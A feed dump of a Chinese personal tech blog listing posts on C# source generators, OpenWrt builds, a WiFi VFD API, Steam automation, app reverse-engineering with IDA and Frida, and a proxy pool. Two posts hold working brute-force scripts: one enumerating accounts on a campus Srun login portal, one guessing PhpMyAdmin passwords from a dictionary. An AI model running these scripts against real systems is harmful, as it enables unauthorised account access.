Chr_小屋 - 地址
type: channel
link: https://blog.chrxw.com/tag/地址
items: 使用C#源生成器自动完成服务注册
items: 使用GitHub Action自动编译OpenWrt固件
items: WIFI VFD API 文档
items: 利用ASF自动添加Steam上的免费游戏
items: 深澜账号密码爆破脚本
items: PhpMyAdmin爆破脚本
items: Steam Wishlist Helper 配置文件说明
items: 小黑盒逆向分析笔记（二）
items: 小黑盒逆向分析笔记（一）
items: Python爬虫代理池安装与使用

使用C#源生成器自动完成服务注册
type: item
date: 2024-01-24T11:28:19+08:00
description: 前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item i…

使用GitHub Action自动编译OpenWrt固件
type: item
date: 2022-01-28T22:06:00+08:00
description: 前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库…

WIFI VFD API 文档
type: item
date: 2021-05-07T23:57:00+08:00
description: 前言 项目演示: BV1Sy4y1u7s8 固件源码: WiFi_VFD 配置工具源码: WiFi_VFD_tools 默认连接密码为CHR233，AP模式热点名为WIFI_VFD_xxxxxx，AP密码为CHRXWCHRXW 注意事项 API请求方法不限，推荐使用GET方法，只接受位于Params的参数 未给定的参数均视为 【“”】或【0】 文档性API 所有文档性API均不需要身份验证 / 说明 返回在线文档地址 请求参数 无需参数 返回值示例 online doc: https://blog.chrxw.com/archives/1970/01/01/1569.html /version 说明 返回固件版本号和编译日期 请求参数 无需参数 返回值示例 Firmware version: 1.7.0 Build date: May 7 2021 23:59:18 /test 说明 固定返回 success , 用于检查固件是否正常 请求参数 无需参数 返回值示例 success 功能性API 所有功能性API均需要提供一个名为【k】的连接密码参数，如果密码错误则返回【403】错误 如果设备的连接密码为空，代表不需要身份验证，传入任意的【k】或者不传入【k】都能通过身份验证 设备重启后会自动从闪存读取上一次保存的设置 为了降低闪存的读写损耗，默认不会将修改的设置写入闪存，如果需要保存此次设置，可以传入名为【f】的任意非空值作为参数 例如 http://....../set/mode?m=1&f=1 所有功能性API如果调用成功均返回 success, 后文均省略返回值 功能性API - 通用 /set/mode 说明 设置当前模式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" m 模式代码 1-3 【1】:时钟模式, 2:文字模式, 3: 进度条模式 必须 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/wifi 说明 设置WiFi连接，无需【f】参数 如果测试连接成功会自动写入闪存并自动重启 如果测试连接失败则会使用上一次的设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |s|WiFi SSID|文本|WiFi的名称|必须| |p|WiFi 密码|文本|WiFi的密码|必须| /set/password 说明 设置设备的连接密码，默认连接密码为【CHR233】，无需【f】参数 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |kn|新的连接密码|文本|要设置的连接密码|""| /set/bright 说明 设置显示屏亮度 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" b 显示屏亮度 0-255 显示屏亮度，0:完全关闭显示屏，255:最高亮度 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/reboot 说明 重启设备 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| /set/reset 说明 格式化内置闪存，清除所有设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| 功能性API - 模式1 - 时钟模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/time/config 说明 设置时钟的样式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" h 24小时 布尔 【""/0】:12小时制, 其他值:24小时制 "" a 显示上下午 布尔 【""/0】:不显示AM/PM, 其他值:显示AM/PM "" w 显示星期 布尔 【""/0】:不显示星期, 其他值:显示星期 "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 功能性API - 模式2 - 文字模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/text/icon 说明 控制显示屏上面一排的图标显示 参数【i】当做二进制数处理，从低到高分别对应从左到右的12个图标, 1代表点亮, 0代表熄灭 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" i 0-4095 整数 从高到低的12个二进制位代表从左到右12个图标的亮灭状态 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/sp…

利用ASF自动添加Steam上的免费游戏
type: item
date: 2021-03-12T23:00:52+08:00
description: 前言 最近开始关注Steam游戏的下架情报，付费游戏下架还可能买得到激活码，免费游戏下架绝大多数情况都没有办法收藏了，于是就有了这个能够自动添加免费游戏的项目 使用方法 链接 本项目链接：Github ASF配置 添加免费游戏通过ASF实现，所有首先需要配置ASF，打开ASF的IPC功能 只要在ASF.json中，加一条"IPC": true,即可 脚本安装 & 配置 首先克隆仓库 git clone https://github.com/chr233/free_game_hunter cd free_game_hunter pip3 install -r requirements.txt mv example.config.toml config.toml 在本地会存在一个data.db，会缓存机器人拥有的游戏和steam商店上的免费游戏，然后会保存统计数据，请不要自行修改data.db 然后修改config.toml，设置机器人名称即可 [bot] # 机器人设置 # 机器人名称,不能设置为asf bot_name = '1' # 多个机器人可以设置写成这样 # bot_name = ['1','2','3'] [asf] # asf设置 # ipc地址 ipc_addr = 'http://localhost:1242' # ipc连接密码,没有密码的话留空 ipc_password = '' [db] # 数据库配置 # 数据库名称 db_name = 'data.db' 运行脚本 使用Python3运行 python3 run.py 自动运行 我使用crontab实现定时执行（因为Steam限制，一个账号每小时最多添加50个Sub，所以一小时执行一次就行了） # 每个小时执行一次 0 * * * * /home/xxx/free_game_hunter/start.sh > /dev/null 2>&1 & start.sh内容： # 需要先切换到工作目录才可以，路径自行修改 cd /home/xxx/free_game_hunter python3 run.py 运行效果

深澜账号密码爆破脚本
type: item
date: 2020-12-21T14:15:00+08:00
description: !> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else …

PhpMyAdmin爆破脚本
type: item
date: 2020-12-08T13:20:00+08:00
description: 前言 !> 本脚本仅作学习交流使用，请勿用于非法用途 最近在做渗透测试，有一台内网的PhpMyAdmin的机器，想着爆破一下，网上找的脚本或多或少都有点问题，就自己造了一个。 脚本 只支持Python3.4及以上版本 修改 target, user, passdic 三个参数，然后直接运行即可，如果爆破成功会把结果写到success.txt文件里 #!/usr/bin/python3 ''' # @Author : Chr_ # @Date : 2020-12-06 12:39:57 # @LastEditors : Chr_ # @LastEditTime : 2020-12-08 13:16:20 # @Description : PhpMyAdmin爆破脚本 ''' # from requests import session from re import findall from html import unescape # # PMA地址,例如 http://localhost/index.php target = 'http://localhost/index.php' # 要爆破的用户名 user = 'root' # 密码字典文件路径 passdic = 'password.txt' # ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} def get_token(text) -> str: '''获取token''' token = findall("name=\"token\" value=\"(.*?)\" />", text) return unescape(token[0]) if token else None def get_title(text) -> str: '''获取标题''' title = findall(' (.*) ', text) return title[0] if title else None def try_login(user, pwd, token): '''尝试登陆''' data = {'pma_username': user, 'pma_password': pwd, 'server': 1, 'target': 'index.php', 'token': token} r = ss.post(url=target, data=data) return r.text def fuck_pma(): '''爆破''' with open(passdic, 'r', encoding='utf-8') as f: html = try_login('', '', '') title_fail = get_title(html) token = get_token(html) for line in f: pwd = line.strip() print(f'[?] 尝试登陆 {user} {pwd} ') html = try_login(user, pwd, token) title = get_title(html) token = get_token(html) if title != title_fail: print(f'[√] 登陆成功 {title}') with open('success.txt', 'a', encoding='utf-8') as f: f.write(f'{target} | {user} | {pwd}\n') break else: print(f'[×] 登陆失败 {title}') if __name__ == "__main__": try: fuck_pma() except Exception as e: print(e)

Steam Wishlist Helper 配置文件说明
type: item
date: 2020-11-15T03:57:00+08:00
description: 前言 开源地址：Github ，蓝奏云镜像：链接 (密码:cg84) 配置文件说明 [auto] # 可选配置 # 如果配置了下面的值,脚本将会自动代入配置的值 # 如果没有配置,脚本将会要求你输入对应项目 # Steam64位ID,只能为64位ID steamid = 0 # 如果有多个账号,也可以这这么配置 # steamid = [11111,22222,33333] [other] # 其他设置 # 是否在运行结束后显示等待屏幕, 如果是在终端中运行可以禁用 # true: 显示等待屏幕, false: 不显示等待屏幕,直接退出 wait_screen = false [itad] # itad模块设置,用于获取价格信息 # API Token, 必填 # 申请地址: https://new.isthereanydeal.com/apps/mine/ token = "" # 价格区域 # 设置值参考详见附录1 country = "CN" region = "cn" # 货币符号 currency_symbol = '¥' [keylol] # keylol模块设置,用于获取游戏标签,卡牌等信息 # 是否启用keylol模块,禁用的话将使用itad模块替代 # true:启用, false:禁用 enable = false [steam] # Steam网页端语言选项 # schinese代表简中, english代表英文 language = "schinese" # 是否使用小尺寸的游戏图片,改为false将会使用大一些的图片 small_game_pic = true [net] # 代理设置,只支持http协议(不支持socks5) # 如果使用全局模式应该不需要设置 # 非空值: 启用代理, false: 禁用代理 proxy = false # proxy = 'http://127.0.0.1:1081' [output] #输出配置 columns = [''] # 直接在控制台显示 console = true # 打包出了点问题暂时不可用 # markdown格式的输出文件(Typora等软件可以打开) markdown = true # xlsx格式的输出文件(Excel可以打开) xlsx = true # 论坛使用的BBCODE bbcode = true # 导出Json,方便二次开发 json = true [sort] # 排序设置 ################### # 排序功能暂未实装 # ################### # 使用数字表示排序方式,负数表示逆向排序 # 例如: # 1: appid 从小到大 # -1: appid 从大到小 (以下类似) # 0: 不排序 (按照Steam返回的顺序输出) # 1: appid 从小到大 # 2: 史低 -> 近史低 -> 未达史低 ,没有价格的项目始终放在最下面 # 3: 折扣幅度 从小到大 ,没有价格的项目始终放在最下面 # 4: 现价 从低到高 ,没有价格的项目始终放在最下面 # 5: 原价 从低到高 ,没有价格的项目始终放在最下面 # 6: 好评率 从低到高 # 7: 类型 游戏 -> 软件 -> DLC -> 视频 # [0-7]:选择排序依据,如果排名相同会按照appid从小到大排序 index = 1 [filter] # 过滤器设置 # 错误的配置有可能得到意外的结果 # 类似于白名单,【过滤掉】的意思是【删掉】 # 任意规则的值设置为 -1 代表禁用该条规则 # -----其他过滤器--------------------------------------- # true:过滤掉 没有 卡牌的游戏, false/-1:禁用 has_card = -1 # -----价格过滤器--------------------------------------- # 如果游戏未发售,视为 没有价格 # 如果价格获取出错,视为 没有价格 # 免费游戏价格视为 0,但是既不算有价格也不算没有价格 # false:过滤掉 免费 的游戏, true/-1:禁用 price_free = -1 # false:过滤掉 有价格 的游戏, true/-1:禁用 price_set = -1 # false:过滤掉 没有价格 的游戏, true/-1:禁用 price_noset = -1 # 下面的价格过滤器只对有价格的游戏有效,忽略没有价格和免费的游戏 # 任意数值:过滤掉当前价格 低于 设定值的游戏, -1:禁用 price_higher = -1 # 任意数值:过滤掉当前价格 高于 设定值的游戏, -1:禁用 pri…

小黑盒逆向分析笔记（二）
type: item
date: 2020-08-05T22:30:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] 距离上一篇文章已经过了半年了，最近也是刚好在学逆向相关的内容，就拿以前的工程来练手。 静态分析 还是接着上文，寻找hkey计算方式 可以看到，生成hkey的过程中调用了Native函数encode，这个函数在libnative-lib.so里 解压出so文件，拖进IDA，可以看到伪代码，可以看到一共有5个参数，但是在Java代码中是3个参数，前2个参数是不需要的。 尝试直接Hook，但是只能得到看不懂的结果，应该都是字符串地址。 我们换个思路，从return开始分析 int __fastcall encode(int a1, int a2, int a3, int a4, int a5) { const char *v5; // r10 int v6; // r4 int v7; // r6 int v8; // r8 const char *v9; // r11 int v10; // r0 bool v11; // zf size_t v12; // r5 char *v13; // r5 char *v14; // r0 size_t v15; // r0 char *v16; // r0 int v17; // r5 int result; // r0 int v19; // [sp+0h] [bp-30h] int *v20; // [sp+4h] [bp-2Ch] int v21; // [sp+8h] [bp-28h] int v22; // [sp+Ch] [bp-24h] v19 = a4; v6 = a1; // v6 是第一个参数 v7 = a4; if ( j_check_signature(a1) == 1 ) // 看名字应该是验证签名的方法 { v8 = 0; v9 = (const char *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v6 + 676))(v6, v7, 0); v10 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v6 + 676))(v6, a5, 0); v11 = v9 == 0; if ( v9 ) { v5 = (const char *)v10; v11 = v10 == 0; } if ( !v11 ) { v21 = a5; v12 = strlen(v9); v20 = &v19; v13 = (char *)&v19 - ((strlen(v5) + v12 + 21) & 0xFFFFFFF8); v14 = strcpy(v13, v9); v15 = strlen(v14); _aeabi_memcpy(&v13[v15], "/bfhdkud_time=", 15); v16 = strcat(v13, v5); v17 = j_MDString(v16); // v16 被赋值 (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v6 + 680))(v6, v7, v9); (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v6 + 680))(v6, v21, v5); v8 = j_charToJstring(v6, v17); // v8 被赋值，值与v6，v17有关 } if ( _stack_chk_guard == v22 ) return v8; // 返回值是 v8 } //正常逻辑应该走不到这里 result = _stack_chk_guard - v22; if ( _stack_chk_guard == v22 ) result = j_j_charToJstring(v6, UNSIGNATURE[0]); return result; } 不难看出，返回值跟j_charToJstring和j_MDString有关，j_大概是一个修饰符，真实函数应该是charToJstring和MDString 找到目标，接下来上Hook。 动态分析 接下来使用 Frida 进行分析，Frida 安装与使用可以参考： [post cid="1301"/] Python 加载器 保存为run.py import sys import frida process_name = 'com.max.xiaoheihe' # 发送信息回调函数 def on_message(mess…

小黑盒逆向分析笔记（一）
type: item
date: 2019-11-25T21:02:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 [...]

Python爬虫代理池安装与使用
type: item
date: 2019-11-12T17:10:00+08:00
description: 前言 [post cid="1260" /] 可以参考另一篇文章，一个更高效的代理池程序，本文仅作存档 因为某个还处于脑海中的项目需要一个代理池，所以从GitHub上找了一个，记录一下部署的过程。 开源项目地址：链接 安装过程 创建虚拟环境 亲测使用较新的依赖库会有小问题，而且此项目的requirements.txt里所有的依赖版本都是写死的，所以最好创建一个虚拟环境。 安装virtualenv pip3 install virtualenv 创建纯净的虚拟环境 virtualenv --no-site-packages [环境名称] 激活虚拟环境 cd [环境名称] source ./bin/activate 当看到命令提示符前缀改变了，就说明虚拟环境切换成功了。 克隆仓库 git clone https://github.com/jhao104/proxy_pool 安装依赖 cd proxy_pool pip3 install -r requirements.txt 配置数据库、访问端口 配置文件路径proxy_pool/Config/setting.py #第36行 DB_TYPE = getenv('db_type', 'REDIS').upper() #可以是'SSDB'或者'REDIS' DB_HOST = getenv('db_host', '127.0.0.1') #数据库IP DB_PORT = getenv('db_port', '6379') #数据库端口 DB_PASSWORD = getenv('db_password', '') #第68行 SERVER_API = { "HOST": "127.0.0.1", #代理池绑定的IP，为了安全起见，只允许本地访问 "PORT": 5010 #代理池绑定的端口 } 修改启动脚本 文件路径proxy_pool/cli/start.sh 替换原有内容： #!/usr/bin/env bash source ~/venv/bin/activate python3.6 proxyPool.py webserver & python3.6 proxyPool.py schedule 自定义API【可选】 文件路径proxy_pool/Api/ProxyApi.py 第50-85行，可以根据需要修改API，我删掉了delete、'refresh'这两个API @app.route('/') def index(): return api_list # @app.route('/get/') def get(): proxy = ProxyManager().get() return proxy.info_json if proxy else {"code": 0, "src": "no proxy"} # @app.route('/refresh/') def refresh(): # TODO refresh会有守护程序定时执行，由api直接调用性能较差，暂不使用 # ProxyManager().refresh() pass return 'success' # @app.route('/get_all/') def getAll(): proxies = ProxyManager().getAll() return [_.info_dict for _ in proxies] # @app.route('/delete/', methods=['GET']) def delete(): proxy = request.args.get('proxy') ProxyManager().delete(proxy) return {"code": 0, "src": "success"} # @app.route('/get_status/') def getStatus(): status = ProxyManager().getNumber() return status 添加获取纯代理API @app.route('/get_raw/') def getRaw(): proxy = ProxyManager().get() return proxy.proxy if proxy else {"code": 0, "src": "no proxy"} # @app.route('/get_all_raw/') def getAllRaw(): proxies = ProxyManager().getAll() return '\n'.join([_.proxy for _ in proxies]) if proxies else {"code": 0, "sr…